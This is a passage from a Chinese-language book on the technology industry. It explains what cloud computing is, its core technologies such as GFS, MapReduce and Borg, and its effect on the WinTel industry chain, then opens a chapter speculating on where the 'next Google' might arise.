是因为有大量用户，希望将用户的应用都搬到网上，而亚马逊则是希望出售计算能力给各个商家和网站。起初，外界对云计算还有不少质疑的声音， 认为它是否是埃利森不成功的Network Computer 的翻版，这种质疑声在软件公司，比如微软和Adobe中最为强烈。但是很快大家都体会到这种通过互联网共享服务的好处，连微软和Adobe 也加入了进来，这时全世界对云计算的质疑便渐渐烟消云散了。\n22.2 云计算的本质\n云计算是什么？最早提出云计算的三家公司因为它们的核心商业模型和利益不同而在看法上相差巨大。\n我们先来看IBM 。在PC 时代以前， 计算机行业，尤其是IBM ， 制造的都是（大型）主机分时系统。当时的主机（可以理解成服务器）非常昂贵，所有用户同时通过终端（可以理解成今天的PC机）分享主机的计算和存储。一个用户可以通过连到主机上的任意终端访问他自己的信息， 得到所需的服务， 因为这些信息和服务都不在本地终端上，而在主机上。当然，在同一主机的这些终端用户很容易共享信息，只要他们的权限许可。但是，不同主机之间的通信功能很弱， 不同主机用户也几乎不会共享信息和服务。至于用户能得到什么服务则完全是被动的，因为软件和服务完全由计算机厂商（当时还没有独立的软件公司）提供。\n1979 年IBM 推出18M－PC ， PC 时代正式开始，之前苹果的PC 只能算是一个序幕。这项革命性的发明反而差点耍了IBM 的命，因为在PC 时代，计算机的用户从企业普及到个人，而个人使用计算机的方式将不再是通过终端共享价格昂贵的大型机的资源， 而是每个家庭拥有自己单独的计算能力相对弱，但是价钱上承担得起的个人电脑。由于微机的性价比要比大型机好很多，它反过来侵蚀大型机的企业级市场。随着主导个人计算机的微软一英特尔体系（WinTel）的出现，IBM退到了二线。当然，此时不同的人使用着不同的微机，他们的数据和信息是很难共享的， 软磁盘和后来的USB 盘成了大家传播信息的途径，同时也带来了病毒的泛滥。微机时代的另一个问题是不同微机上有不同的软件，同一个软件的版本可能也不相同， 使得大家在某一台计算机上做的工作，很难在另一台上继续进行。\n我本人就有过两次因为对方计算机上没有相应的软件和版本不对而很尴尬的事。一次是在IBM 做报告，我事先将我用微软PowerPoint 做的胶片传给IBM 的同事，遗憾的是他们因为是微软的竞争对手，一层楼里只有一两台计算机上装了Office ，于是浪费了很多时间在计算机之间将讲稿倒来倒去。另一次是在国外，由于Office 的版本不对，也无法打开我的讲稿，于是我只好用备份的真正的胶片，在投影仪上放映。\n随着互联网的出现，尤其是在宽带上网和搜索引擎普及以后，人们获取和交换信息变得方便许多。在2000年以后，运营几万台服务器的大型数据中心的出现，使得计算资源和能力有了共享的可能，而这些大型数据中心之间采用高速光纤网络连接。这样全世界的计算能力就如同天上飘着的一朵朵云，它们之间通过互联网连接。人们可以通过互联网享用一个甚至是多个大型数据中心的计算和存储功能，而自己家里的PC 机则渐渐降级为一个重要性不大的终端。这样，在表面上似乎又回到了当年IBM 大型机的分时共享模式，只是一台大型机被一个大型数据中心取代，大型机到终端的专线被互联网取代，而用户从大型企业普及到每一个人。被微软压制了多年的IBM 当然希望通过这个转变重新谱写它的百年传奇。IBM 服务的对象依然是企业级用户，它的商业模式是卖云计算的服务器。这是IBM 对云计算的理解。它不具有自己对外使用的数据中心， 因此至少目前无法提供对外的服务。\n作为一家互联网公司，更具体地讲是一家电子商务公司的亚马逊对云计算的理解和IBM 完全不同。亚马逊早期除了卖书以外，另一项主要业务就是通过它的开放市场，允许小商家把自己的商品放到亚马逊上卖。当然，不同的商家卖的东西不同，店铺的设计、交易的方式和提供的服务也不同，这些商家大多有自己单独的网站。对于中小商家，自己建立和维护这些网站从成本上讲是非常不合算的。于是，亚马逊开始给它们提供网站托管（ Web Hosting ）的服务， 建立了一些通用的交易平台，帮助这些商家托管它们的网上商店。为了满足为数众多的商家网站托管的需求，亚马逊建立起向己的数据中心。这时，亚马逊发现，它不仅仅可以为商家提供网站托管服务，还可以为任何需要建立网站的公司提供。这样，任何一个想通过互联网提供服务（包括电子商务） 的公司和个人都不需要自己建网站，而只要租用亚马逊的计算资源即可。这就是亚马逊理解的云计算，它和IBM 的理解完全不同，但是没有矛盾。IBM 可以作为它的服务器提供商，如果亚马逊觉得价钱合适的话。\nGoogle 是最早开发云计算技术的公司，它最初的目的是为了其大计算量的搜索服务。但是随着它自身业务的扩大，以及它和微软竞争的日益加剧， Google 逐渐将原本运行在用户自己本地计算机上的各种应用软件搬到了服务器端。最早是日历（Calendar），这在微软是其Email 组件Exchange 的一部分。Google 通过统一的账号系统（云计算的关键技术之一） 将它的电子邮件（ 即Gmail ）和日历打通， 并通过简单的自然语言理解，使得电子邮件中任何和约会有关的事情都很容易地加到日历（ GoogleCalendar） 中。当然，所有这些信息都存在服务器端，而且是和用户终端无关的，这样只要用户能上网登录，就能随时获取自己日历的信息。不久，Google 又推出了离线的电子邮件和日历服务，实际上就是做了一个微软Exchange 的替代品。做到这一步。 Google 还只是在追赶微软上补了些课而已，看不出丝毫云计算的意思。但是，接下来Google 做的几件事让人渐渐看清楚了它的云计算思路。\n首先，它把本来运行在客户端的许多应用软件的主要功能，包括图片处理和分享的Picasa ，类似Office 的字处理、表格处理和讲稿演示（ Presentation ）搬到了服务器端，或者说云端。虽然这些应用与PC 上进化了十几年的同类产品相比非常的初级，包括我本人开始都怀疑它们是否可以完全取代个人电脑上的那些软件。但是， 它的发展和普及速度却大大超出人们的预期， 首先这些简单的、免费的替代品能完成这些复杂的同类产品90％ 以上的功能， 基本上能满足95％ 的用户的需求。实际上Photoshop 和Office的那些复杂功能连很多计算机专业的人不经过训练都不会用到。要知道买一套正版的Photoshop 和Office 是很贵的，对于个人用户，一套Photoshop 的价格从200 美元到上千美元，而一套Office 的价格也在100美元到300 美元左右，视功能而定。对于企业级用户，成本更高，是每年收使用费的。其次，也是非常重要的， Google 的这些在线的应用软件分享数据和信息的功能要比原来基于个人电脑上的同类产品强得多。如果一个小组几个人一同起草一份文档， 用Google 的Docs 比微软的Office 要方便许多，虽然前者的排版不如后者漂亮。这个分享功能成为了Google 基于云端应用和服务的卖点。\n在Google Docs 问世前，如果一个人要和朋友或同事共享你的文件或讲稿，他要么用电子邮件的附件发送给别人，要么拷贝到磁盘或USB 盘上， 然后将物理的磁盘和USB 盘交给别人。如果他要将在办公室里没有写完的文档拿回家写，那么也要拷贝到某个载体上带回去。这样虽然麻烦而且不安全，但是还勉强可以工作。然而如果想在差旅时检查一下他的日历有没有更新，或者同事是否对他的文挡提出了修改意见， 那一般只好等到了目的地，用自己随身带的笔记本找到上网的地方才能t作，而使用别人的电脑是不安全的。在Google Docs 问世后，我们日常大部分办公的需求，从文档到日历，基本上都可以随时随地访问，由于文档本身存在服务器端，因此从哪怕是公共的计算机上访问它也是安全的。正是由于这些方便性，弥补了Google Docs 在功能上的不足。\n和IBM 与亚马逊都不同。 Google 强调的是对用户的服务。虽然它自己也生产服务器， 而且产量不低（相当于全球第四大服务器厂商），但是它无意进入服务器的市场。虽然Google 一度试图进入亚马逊的网站托管市场，搞了Google Site 这样的服务，但是因为不成功，也就没有坚持。总的来讲，这三家各有各的特点和市场，基本上是互补关系而不是竞争关系。把他们的想法合起来，就可以得到云计算的本质了。\n首先， 云计算保证用户可以随时随地访问和处理信息， 并且可以非常方便地与人共享信息。我们不妨看这样一个实际的场景：营销员比尔匆匆忙忙地飞到外地签合闷，由于走得匆忙，和客户的会面还没完全安排好，自己寄给客户的合同也没有得到反馈，客户答应在他到达目的地以前给他答复。比尔在飞机场等候转机，想看看自己的日程表，了解一下用户是否确定了会面的时间地点， 并且看一看合同书是否有了反馈信息。以前他需要在自己的笔记本电脑或手机的日程在上输入自己的日程，然后在机场查看自己的电子邮件或短信，把用户传过来的时间安排抄到自己的日程表上， 再通知用户他接受了这个安排。之后，再查看一下电子邮件，看看邮箱里有没有反馈回的合同附件。如果有，他在自己的笔记本上编辑完，再用电子邮件发给对方。现在。他可以通过一个智能手机， 比如苹果的iPhone或Google的GPhone，通过机场的WiFi，上网并登录自己的日程表和文件账户。如果客户安排好了会面的时间地点，客户会在比尔的网上日程表中直接加入一项活动，通知他见面的详细安排，如果比尔觉得合适，直接点一下确认的国标即可通知对方同意，比尔可以把自己起草的合同书变成一个客户共享的文本， 可以直接在上面写上自己的意见或修改合同，当比尔在机场再次打开这个文本时， 他就看到了客户修改的版本。 并且是在这个共享文本上直接编辑修改的。客户只要在网上，就可以在同一时·间看到比尔修改后的新版本。等比尔到这目的地时。 不仅行程已经安排妥当，而且已经和客户进行了预先的交流，合同的谈判就会顺利得多。接下来，如果要做报告，也非常简单。\n因为所有的文件都是存在云端，也没有兼容的问题，只要客户给他提供一个投影仪就好。如果他要演示什么大系统（比如语音识别的系统） ，并不需要带很多用于演示的服务器，只要通过一个浏览器就可以调动在数据中心的多台服务器完成演示。\n第二， 云计算保证用户可以使用大量在云端的计算资源，包括处理器CPU和存储器（内存和磁盘）而不需要自己购置设备。打个比方来说明这一点，这就像我们不需要自己在家里的院子里打井取水，在家里的厨房里用一台柴油机发电一样，而是用水电公司提供的服务。它的好处是让全社会的计算资源得到最有效的利用，同时让每个使用计算资源的人和公司成本尽可能低。以一个中型网站或电子商务公司为例，它需要几百台服务器和足够的带宽。以前，它需要自己订购服务器后，租用数据中心，在自己的服务器上安装操作系统和Apache 之类的服务器，然后雇自己的网络管理工程师和运维人员，才能为用户服务。这里面有十几个重要的决定要做，包括数据中心的选择，这些服务器的选型，服务器的布局，操作系统的选择，带宽的选择，容灾的处理，等等。该公司还要雇佣不少运营的人员，才能维持服务的正常运行。为了保证服务的流畅，该公司服务器的峰值计算能力必须是它均值的3－10 倍，加上容灾备份，这样服务器的使用率其实不高。因此，算下来这个公司的运营戚本是很高的。实际上，目前中国的中小型互联网公司的平均运营成本比大公司（腾讯、百度等）高，中国的大公司比美国的Google 和亚马逊高。很大程度上就是资源的利用不充分。如果，这些中小公司租用计算资源，那么它的平均运营成本要低很多。而且由于这些提供云计算服务的专业公司的运维和信息安全的管理更容易做到高质量和有效， 因此，对用户来讲，服务质量能够得到保障。事实上，在美国，很多财富500 强的公司，比如美国第二大连锁店Target ，他们的网站和电子商务都是由亚马逊提供Hosting 服务的。\n同时，很多跨国公司，他们的电子邮件和文档系统都是由Google 提供服务的。\n对于个人或没有计算资源的单位来讲， 云计算可以让他们完成以前根本完成不了的任务， 一个很好的例子是图像处理。了解这个专业的人都知道，图像处理是计算量非常大的任务。未来的某天，公安局刑侦科得到了一张嫌疑犯的照片，他们要通过计算机从上千万张图片中找到和嫌犯长相相似的人的档案。这一千万张照片，可能存在几十个城市的公安分局里。以前要完成这件事，先要把嫌犯的照片通知到各个公安分局，每个公安分局还要派专人去计算中心处理和匹配照片，这样的难度使得这项任务几乎不可能完成（即使这些照片存在同一个计算机系统中，匹配一千万张照片的时间也可能是几个月甚至更长的时间， 因为图像处理很花时间。嫌疑犯可能已经逃脱） 。现在有了云计算，这一千万张照片虽然在物理上分布在不同的计算中心，但是对于全国各公安分局来讲，感觉上都在自己的机房里。\n同时， 云计算的工具可以把计算工作并行地安排到互联网上闲置的服务器中，几分钟就可以完成任务。\n22.3 云计算的核心技术和工程\n云计算的普及要过技术、工程和法律多道关卡。才能在社会上普及。我们先看看其中的关键技术，包括存储、资源管理和信息安全几个大的领域。\n先谈谈存储，它其实又包括海量数据的存储和结构化数据的存储。这两项技术在学术界研究了十多年后，最早由Google 真正在工业界实现和应用，Google 的代号分别是GFS 和BigTable。\nGFS 是Google 文件系统（ Google File System ）的缩写，最早由Google的两个创始人佩奇和布林在斯坦福大学做博士生时提出，在Google 成立后， 由Google 的工程师们变成了产品。和以往操作系统中的文件系统不同，GFS的目标是在分布式的多台机器上存储海量数据，同时对于它的用户来讲，所有的操作都和在一台计算机上操作一个小文件一样简单。为了保证数据的可靠性， GFS 里每份数据都有三个备份。GFS 上的一个文件有多大呢，它可以大到千万亿字节（ PB） ，需要同时储存在前台服务器上，比如整个互联网网页的索引可以是一个文件。GFS 从2002 年到2010 年的8 年间支撑了Google 的整体业务。其他五联网公司在Google 后也推出了自己的大型分布式文件系统。到了2010 年后，整个互联网已经大到GFS 也不能支持了。Google 于是推出了第二代云计算文件系统CFS ，规模是GFS 的1000倍。\n和以往的计算机文件系统不同的是， GFS 不是为随机读写设计的。很多仿制Google 文件系统的公司都没有理解这个本质，包括一些中国非常著名的公司。它们浪费了几百人年的工作，试图去实现大型文件系统随机计算工作量的单位， 读写的效率，最后才发现是白白浪费时间。\n那么对于需要随机读写的应用怎么办呢？ 这些数据是需要放在内存中的。\n考虑到在实际应用中大量的数据都是结构化的（类似于数据库系统的） ，Google 提出和实现了针对这些应用的大型结构化数据的BigTable 系统。\n解决了海量数据的存储问题，那么如何把成千上万台服务器组织到一起来完成一件大事呢？如何让使用者觉得远程使用云计算的资源就如同使用自家的计算机呢？ Google 为此开发了两个计算机任务和资源管理的工具。\n第一个是被称为MapReduce 的工具。它将一个巨大型的任务分解为无数小任务，分派到不同服务器中完成，然后再把每一台服务器上完成的小任务合并起来，达到最终完成大任务的目的。MapReduce 的技术含量很高，它实现的好坏将直接影响到云计算的效率，而效率很容易差出一两倍。和Google MapReduce 类似，雅虎开发了一个称之为Hadoop 的开源工具，由于是开源的，它在世界上的使用者颇多。但是由于Hadoop 在一开始设计时就有硬伤，主要是存储和运算功能没分清楚，因此它的扩展性和资源管理的灵活性大打折扣。\n云计算资源管理的另一个重要工具是Borg。它的作用是把整个云端（可以跨几个数据中心）的服务器资源作为整体完全保存，然后根据用户的需求动态分配这些资源。比如某个互联网公司的业务以前需要买125 台4 核处理器、16GB 内存的服务器；现在它只要向云计算公司申请500 个CPU的计算盘和2TB 的内存，至于它用的是哪些服务器上的CPU 和内存，用户不用关心，都是由Borg 来分配。\n上述技术因为它的“高科技”特征已经被业界关注了很长时间。但是，另一方面的技术常常因为看上去不是什么高科技，则屡屡为人们所忽视一一信息安全技术。而事实上， 信息安全技术是云计算是否能普及的关键。\n李开复博士举了个很好的例子来说明为什么从信息安全的角度看，云计算比现在的WinTel 模式更好。现在使用计算机的模式相当于把钱家里，如果自己的计算机上有个防火墙，则相当于把钱存在自家保险柜里。但是，即使是保险柜，也不能保证100％ 不丢钱。你如果去买一件大宗商品，比如电视机或钻戒，就需要随身带很多现金，这样其实很不安全。而云计算相当于把钱存到银行里，你可以在任何时间、任何取款机上提现。而且只要带上信用卡或现金卡就可以在任何和银行联网的商家消费。事实上，存在个人电脑（或其他个人终端）上的信息并不比存在服务器端的更安全。\n几年前闹得沸沸扬扬的“艳照门”事件，恰恰是存在个人电脑上的信息泄露引起的。\n在云计算的模式中，终端用户所需的应用程序和工具不需要存储和运行在自己的个人电脑上，而是运行在互联网上大规模的服务器集群中。用户所处理的数据也不一定要存储在本地，而可以保存在互联网上的数据中心里。提供云计算服务的企业有专业的人员负责管理和维护这些数据中心的安全性。这样，用户不用再担心数据丢失、病毒人侵等麻烦。\n当然，要保证信息安全，还必须有相应的政策和法规的配合。由于互联网上商机巨大，世界各国都会遇到一些公司为了自己的利益，通过技术的手段做危害用户信息安全和损害其他公司的事情。在任何国家，抢银行都是重罪，这在某种程度上保证了银行系统的正常运营。而现在，盗取信息，包括常见的盗号、网络欺诈、钓鱼等不法行为，几乎不会受到什么刑事惩罚，这样必然阻碍云计算的发展。更有甚者，现在一些公司竟然打着信息安全的旗号破坏信息安全，它们甚至肆意修改用户客户端上安装的软件。\n和盗号与钓鱼不同，这些公司对用户有很大的欺骗性，以至于会有成千上万的用户上当。其实，对云计算用户来讲，最安全的做法就是在客户端上除了浏览器，剩下来的和上网有关的客户端软件都少装，即使是所谓的杀毒软件。\n最后让我们从工程上看看云计算的关键之处。云计算本身是一个非常复杂的系统工程。它的普及首先离不开巨型数据中心的建设和全球高速光纤主干网的铺设，这就好比电的普及离不开发电厂和输电网一样。在Google，这些工程称为全球基础架构，它本身也需要很多关键技术，甚至一些看上去IT无关的技术，比如制冷技术。全球基础架构设计和实施的好坏可能会导致运营成本上成倍的差别。\n要做到在任何时间、任何地点都能访问互联网，互联网的入口是个问题。\n这和手机网络覆盖率或银行的ATM 机的数量是同一个道理。只有当用户可以随时随地取到钱，他才会从携带现金转为携带取款卡；只有当用户可以在城市的任何地点使用手机，移动通信才会彻底取代市话业务； 只有当用户可以在城市大多数地区都能很方便地访问网络， 才会将自己的文挡和日程表放在网上。这里面又包括法律上互联网的中立性，以及技术与工程上两方面的挑战。我们在介绍Google 一章中已经介绍了， 就不再赘述了。\n值得补充的一点是，云计算的发展是全社会的事情，最终需要公开的接口标准和服务。就像操作系统是一个硬件制造商和软件开发商都遵守的平台一样， 云计算也是一个这样的平台。云计算要想得到充分的发展和全世界计算机产业的认可，不是单凭任何一家公司的力量就能做到的。在全球信息化的今天，最好的发展模式莫过于开放的开发环境。云计算的服务提供商必须遵守统一、开放的标准， 并为下家提供开放的服务，才能促成整个产业链的发展。在这一点上中国政府工信部（主要是软件司） 的主管官员们非常有远见，一直在致力于统一中国云计算的标准，并且增强中国云计算技术和标准在世界上的话语权。\n22.4 对IT 产业链的颠覆\n云计算在全社会的普及将从根本上颠覆lT 的产业链。到目前为止。 lT 的产业链还是以WinTel 为主线，以互联网为辅线。在十年前，整个IT 行业还没有一种力量能动摇微软和英特尔在IT 领域的主导地位。整个IT 行业，最挣钱的业务被微软和英特尔靠垄断牢牢把握着，其他公司只能作为他们的下游，在激烈竞争的环境里勉强生存。对用户来讲，大家也没有选择。如果不采用英特尔的CPU 和微软的操作系统（ 比如用苹果） 。几乎没有太多的应用软件可以使用，而且和其他人的计算机也无法兼容。随着云计算的出现。 WinTel 的结构不需要外力作用，就会摇摇欲坠。\n首先，随着WinTel 体系的日益式徽， 一大批公司的核心业务将受到严重挑战。当然， 首当其冲的是微机上的操作系统变得不再重要。在WinTel时代，因为大家的很多上机时间是在“单机”上， 使用的也是客户端软件，因此操作系统的重要性无与伦比。任何一个应用软件开发商首先要考虑的是选择用户数最多的操作系统，否则它的应用软件没有人用。在云计算中，所有的应用都放在服务器端，终端的类型可以根据使用者的喜好选择，无需为兼容问题发愁。以Google 的Gmail 和Google Calendar 两项服务为例，它在PC 、苹果Macbook、智能手机和平板电脑（如iPad） 上，体验都差不多。\n没有了对操作系统的依赖，对英特尔CPU 的依赖也就减少了。现在，一些可上网的终端，包括几乎所有的智能手机、平板电脑，部分上网本采用的都不是英特尔的CPU ，而是所谓基于ARM 的CPU。ARM 实际上是一个对外公开的设计，任何半导体公司都可以买它的CPU 设计制造自己的芯片。英特尔如果今后想在用户的电脑处理器市场上保持目前的份额，需要靠技术进步和价格优势，而不是靠垄断。\n接下来，硬件的生产厂商的产品线将进行非常大的调整。概括来讲就是越来越多的计算处理工作会从客户端回到服务器端。像前面讲的那个例子，从上千万张照片中要确认某一个人，在服务器端，它可以在瞬间完成。有了超级数据中心，我们个人微机的配置就不需要很高，也不需要每个人在自己的个人电脑上安装客户端软件了。这样，就可以大大节省软硬件的费用。同时，由于大家的数据都存在互相联网的超级数据中心里，很容易实现共享。只要设计合理，超级数据中心可以做到在相同能耗下，比个人电脑高好几倍的计算能力，有利于环保。\n在这个前提下，个人用户的PC 销量，尤其是台式机的销量会急剧下降。\n甚至台式机在今后的几年内有可能消失，而各种可供上网的终端的销量会大幅上升。从苹果公司产品线一－PC 机到电子产品的变化一一其实已经能看出这个趋势了。苹果高性能但笨重的台式机几乎已经没有什么效率了，而它的小的终端则越来越多。Macbook 笔记本、iPhone 、iPad 、MacBook Air 超薄笔记本等越来越受欢迎。其他PC 厂家，包括戴尔、惠普和联想等都在销售和开发自己的智能手机（都是基于Android 的）和平板电脑。在这个转变中，动作慢、效率低的公司将被淘汰。\n随着计算终端市场的变迁，对应的外设市场也开始变化。由于新的终端的便携性越来越突出，因此， 一个很重、怕颠簸、耗电多的硬盘就显得不合适了。基于半导体闪存的硬盘（ Solid State Drive。简称SSD ） 会得到越来越多的应用。我们可以大胆地假设， 要不了几年，硬磁盘将像当年的软磁盘一样，从用户的个人电脑中消失。那么生产SSD 的公司将飞跃发展，而生产传统硬盘的公司将萎缩。\n其次，随着云的普及，新的产业生态链将形成。基于互联网开发的公共平台将变得越来越重要，它将从某种程度上替代原来操作系统的作用，因此，它们将是这个变革最大的受益者。这里面最有代表性的是Facebook的开发平台。今天，有上百万的工程师在Facebook 上开发应用程序，有上亿的用户在使用这些应用。从产业的生态链角度上看。 Facebook 在某些地方起着当年微软的作用，只是它的平台是基于互联网的，免费和开放的。如果把当年的应用软件开发商（比如游戏开发商Electronic Arts ）当作微软的下游公司，现在这些基于Facebook 的开发人员和小公司（ 比如Facebook 上的社区游戏公司Zynga） 就成了Facebook 的下游。在过去的几年里，前一类的公司在不断地萎缩，而后一类的公司如雨后春笋般诞生。\n最终的结果是产生新的垄断公司，比如很可能是Facebook ，成为行业的龙头老大。\n由于所有的用户终端都要和云端的服务器通信，那么浏览器的重要性就变得非常突出。最极端的情况甚至是除了浏览器和挂件，用户在自己的客户端上不需要任何其他的应用软件。这样用户的信息安全完全由云计算公司的专业信息安全人员来保证，就如同银行客户的钱向银行专业的保安人员保护一样。没有了乱七八糟一大堆的应用软件，用户的电脑上感染病毒和木马的可能性就变得非常小。这时，谁控制了浏览器， 谁就控制了终端用户，可以预见，在今后的两年里，客户端软件的竞争将集中在浏览器上。\n关于硬件产业的变化前面已经分析过， 在此就不再重复了。\n我们可以看到， 云计算将导致一个产业链的式微和另一个产业链的兴起。\n云计算的产业链有多大？虽然现在还不好估计，但是可以肯定，这是一个每年超过千亿美元，甚至可达万亿美元的市场。同时，伴随着云计算兴起过程的另一个趋势是3G互联网和网络移动化的兴起。我们在介绍Google3G 策略时已经介绍了这个新的产业链，这里也就不再赘述了。\n结束语\n如果说互联网2.0是一次进化， 那么云计算则是彻头彻尾的革命， 一次大的科技发展浪潮。曾几何时，几乎所有的人都认为微软和英特尔统治微机时代的地位是无法动摇的无论从技术上还是法律上。但是，随着云计算技术的兴起和普及，这个WinTel体系居然自己摇摇欲坠了。云计算和WinTel体系的基因相差之大，使得传统的软硬件公司无法转基因，这就是技术浪潮。我们知道，如果一次浪潮还没有结束，任何人为的力量都很难和科技发展的浪潮相抗衡。而当一浪过去后，任何外力都很难维持它的高潮。当然， 云计算的普及还需要在技术上进一步完善，更重要的是， 在法律上要有完全的保障，但是，这个浪潮是不可阻挡的。\n第23 章下一个Google\n谢谢读者读到了我们这个系列的最后一章。在整个系列中我们都在介绍全球性的、影响世界的科技公司。在过去的40 年里，我们有幸看到这样的公司不断涌现。“寻找下一个微软” ， 或者“寻找下一个Google” 。 一直是创业者、投资人、科学家们乃至求职者津津乐道的话题。几乎所有的创业者在寻求投资时， 都声称自己是下一个微软或下一个Google。 虽然这么多年来，我们只看到了一个英特尔、一个思科、一个苹果、一个微软和一个Google 。毫无疑问，像这些公司一样富有传奇色彩的新跨国公司还会不断地诞生，问题是一一它们在哪里？\n23.1 千亿俱乐部\n从英特尔、苹果、微软到思科和Google。 它们有许多共同的特点。首先，它们都是全球性的跨国公司，并在自己的领域处于主导地位。微软在很长时间里不仅是全球市值最大的科技公司，而且占了全球个人计算机操作系统市场的九成以上。英特尔虽然近几年不如10 年前风光，也依然占有全球计算机CPU 市场的八成。思科和Google 类似，它们在自己的主攻领域里市场份额和收入超过了他们竞争对手的总和。苹果公司正处于从计算机公司到个人电子产品和通信产品转型的过程中，虽然没有像这些公司一样主导一个大的市场，但是它的一些产品， 比如iPod 在相应的市场上也近乎形成垄断，而且在其他领域它正在快速夺取原有公司的市场份额（比如在手机领域就是如此） ，同时还在不断开拓新市场（ 比如iPad 平板电脑） 。\n其次，它们代表着或代表过一个时代，形成并且带动了一个产业链。英特尔和微软代表着微机时代，以至于大家把整个微机工业称为WinTel 。思科和Google（还有早期的雅虎），它们两个一个在后台，一个在前台，代表着互联网时代，并且是互联网产业链的主导者。既然代表一个时代，它们所处的市场就必须“足够大”，从英特尔到Google，都满足这个条件。\n否则一个公司的产品再好，技术再先进，即使主导了一个市场，也不能成为时代的代表者。苹果虽然不能带动整个产业链，但是从2000 起的十年是所谓的i十年，苹果改变着人们对电子产品的认识。\n再次，它们不能仅仅是“以后可能前途无量”，而必须有非常强的盈利能力，在不太长的时间里证明自己，达到每年数百亿美元的营业额，几十亿美元的纯利润，并且能有十年以上的持续增长后劲。很多公司靠炒作概念，而利润平平，在一段时间里，股价炒得很高，他们依靠发行新股获得了充足资金，然后盲目扩大业务。虽然风光一时，但光环迅速消失。2000 年前的很多互联网公司就是如此。那些公司鲜有利润，也没有很高的营业额，但是被炒作得比那些稳定经营了几十年的公司更值钱，当时很多没有什么产品和服务的互联网公司，盘子被炒得比波音公司还大，他们能够说的就是“我们代表未来，我们代表今后一种趋势”，等等。“未来”是没有发生也无法验证的事，说说总是容易的，但是真到了若干年后做到的几乎没有。\n从这个角度看，几年前几乎所有互联网2.0公司都不符合要求，因此全球性独立的互联网2.0公司也就剩下了Facebook 一家。即使是Facebook ，要做到数百亿美元的营业额也还需要很多年。\n当然，上述的盈利不能是靠政府补贴带来的盈利，而是靠新的技术和商业模式带来更强的竞争力产生的。世界上至今还没有哪家革命性的公司是靠政府扶植出来的。\n又次，即使一家公司满足了上述条件，处在一个新兴的、商业潜力巨大的行业， 同时又很幸运地于合适的时机在这个行业拔得头筹，但是，如果它的执行力不足，它依然会是昙花一现。雅虎公司多多少少如此，那些与机会失之交臂的公司都是如此。\n当然，除了上述条件，成为千亿俱乐部的会员并且能站稳脚还需要很多其他条件，这也就解释了为什么像微软或Google 这样的公司要很多年才能出一个。但是，几十年来，这样的公司还在不断涌现，这也就激发了各种人力图成为下一个科技新贵的强烈愿望。人们也在通过创业和投资不断将这样的愿望付诸行动。\n23.2 岁岁年年人不同\n虽然我们不知道下一个Google 在哪里，但是可以肯定它不在搜索领域，这就如同几年前我们寻找的下一个微软不会是一家软件公司，而最终是一家互联网公司一样。\n现在我们不妨回顾一下10 年前的历史。在1990 年前后，个人微机已经非常普及，但是作为微机操作系统的提供商微软公司，坯是一个小公司，更没有成为微机软件业的垄断者。蓝色巨人IBM 公司还试用主导微机市场，从技术和资本上看，它都超过微软。甚至当时莲花公司，从营业额和人数上也超过微软。当时的操作系统之争还远没有结束。我们在前面介绍过，苹果的麦金托什OS，Novell的网络操作系统和太阳等公司的Unix在技术上远远领先于微软，它们在市场上还在和微软顶着头竞争。在那前后。诞生了很多大大小小的主要针对微机的软件公司，包括著名的财务软件公司Intuit。\n到了微软视窗Windows 3.0出来并且迅速占领市场后，微软的垄断地位已经形成， 一半最挣钱的应用软件，包括字处理（原WordPerfect公司的拳头产品）、表格处理（莲花公司的产品）和浏览器（网景公司的产品） ，都成了微软的囊中之物。有幸活下来的像样的软件公司只有两家，做财务软件的lntuit和做Photoshop的Adobe。不仅如此，从Windows 3.0 垄断市场以后，再也没有几家像样的软件公司上市。Intuit和Adobe都是以前就存在的公司。为什么呢，因为如果存在一个足够大的应用软件市场，微软就一定能依靠它的垄断地位、财力（ 甚至主要不是靠技术）来抢得这个市场。因此，所有风险投资公司要问软件公司创业者的第一句话就是“微软会不会做？”\n那么难道聚全世界之力， 还不能搞出一个比微软还好的操作系统取代微软么？事实上开始还有人作这种努力，但后来还是越来越少，因为大家发现微软的操作系统“足够好了”或者说“够用了”，因此，在用户中不存在代替它的必要性了。我们可以毫不夸张地讲，即使今天出现了一个比微软Windows 好一倍的操作系统，用户也没有要换操作系统的欲望，因为微软的“够用了” 。“够用了”这条很消极而枯燥的原则，让所有想通过做一个操作系统取代微软的努力都变得无效。\n既然在操作系统和应用软件两方面的路子都给微软堵死了，那么“下一个微软”那样大的科技公司必然不会出现在微软所擅长的领域。事实上，更早以前并没有出现第二个IBM ，今天也没有出现第二个思科，道理相同。\n现在我们不妨回过头来看Google今天的地位，它和当年微软的情况出奇地相似。到2009 年，美国的互联网广告市场总值大约是300亿美元，而Google一家占了其中的1/3。如果加上Google的联盟者，这个比例超过1／2。Google 在全世界的市场份额也大致如此。Google 一边罩着成百上千万的广告商及几乎同样数量的内容商， 一边坐拥几亿乃至十几亿的网民。\n任何一家广告公司想做广告，首先会想到Google。而内容商也是如此，因为它们和Google 联盟可以获得最充足的广告源， 当然大部分网民想找什么商业化的东西，也需要到Google ，因为它的商业信息多。现在， 互联网广告市场每增加一份， Google 和它的同盟者就拿走一半。如果有新的做广告的渠道， Google 是最容易占领这个渠道的，因为它有最多的广告商。虽然手机和视频广告在几年前对于Google 来说是新领域，但是它分别通过Android操作系统和YouTube网站，再次取得无人能挑战的地位。\n那么是否有可能做一个比Googl号还好的搜索引擎逐渐将Google 比下去呢？事实上微软和雅虎已经做了很久，至今没有成功。原因是Google 的搜索引擎“够用了”，大家对新的引擎的欲望不强烈。公平地讲，雅虎和微软的搜索引擎在质量上和Google 相差无几，但是在市场上只是Google的零头。这就是这个“够用了”的宿命决定的。\n不仅下一个Google 不可能是搜索公司，而且不太可能是现在意义上依靠广告挣钱的互联网公司，因为这个互联网广告产业不够再养活一个像Google 这么大的公司了。也就是说，即使有一个互联网公司（比如Facebook） 成为了下一个Google ，那么它的商业模式一定不是以广告为主而是别的。\n23.3 新领域\n这一节是整个一本书中最难写的，因为我不是未来学家，不能预测未来。\n我能做的只是对所我知道的信息进行总结，并且在此基础上进行一些逻辑推理。\n每一次经济危机过后，一些旧的行业会失去很多工作， 而且这些工作永远不会再回来了。2011年3月，IBIS World 给出了10个夕阳产业。包括我们所熟知的传统的电话通信和纸张的报纸业。但是经济自有它的调节能力，最终能够克服危机。当旧的产业被淘汰的同时， 新的产业也就诞生了。\n而“下一个Google”这样的新星也就在新的领域随之诞生。现在，我们正处在新旧行业交替的阶段， 一些领域可能会孕育出新的千亿公司。我们不妨看一看哪些领域可能在兴起。\n23.3.1 新能源\n太阳能和其他可再生性能源，被以奥巴马为首的美国民主党人和一些华尔街的吹鼓手们炒作成解决全球温室效应的方案和今后能源的方向。无论在中国还是在美国， 